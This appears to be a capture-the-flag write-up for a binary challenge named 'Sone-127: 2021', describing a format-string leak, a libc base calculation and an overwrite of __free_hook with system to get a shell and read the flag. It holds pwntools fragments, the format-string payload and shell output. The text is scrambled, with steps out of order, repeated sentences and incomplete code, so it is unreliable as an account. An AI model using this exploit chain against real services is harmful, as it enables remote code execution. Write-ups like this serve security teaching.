Ko-fi Support Us

Sone-127: 2021

> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell.

def write_free_hook(io, libc_base): system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] log.info(f'system: hex(system_addr)') log.info(f'__free_hook: hex(free_hook)')

# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base) SONE-127 2021

> download sh.txt /bin/sh $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat /flag.txt FLAGSONE_127_2021_4c7f5b Success! #!/usr/bin/env python3 # -*- coding: utf-8 -*-

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6..., stripped PIE: No, RELRO: Partial, Stack: Canary found, NX: Enabled, PIE: No, RPATH: [] 3.1 Interaction > help Commands: echo <msg> - Echoes back the message calc <expr> - Evaluates a simple arithmetic expression upload <filename> - Upload a file to the server download <filename> - Download a file from the server exit - Quit The only interesting command is echo . Sending a long string revealed an unintended format‑string : &gt; upload sh

libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository):

> echo %p %p %p %p %p 0x7ffd2a8e2c30 0x0 0x7f5c1a2b2e30 0x0 0x7ffd2a8e2c30 That means the printf in the source is something like: Since buf points to the string "/bin/sh" , we get a shell

HOST = 'sone-127.ctf.example.com' PORT = 31337

target = free_hook low = target & 0xffff high = (target >> 16) & 0xffff

from pwn import *

> echo AAAA%low%8$hn%high%9$hnBBBBaddr_lowaddr_high Where addr_low and addr_high are the low/high 2‑byte parts of __free_hook placed in the payload after the format string (so that they appear on the stack as the 8th and 9th arguments).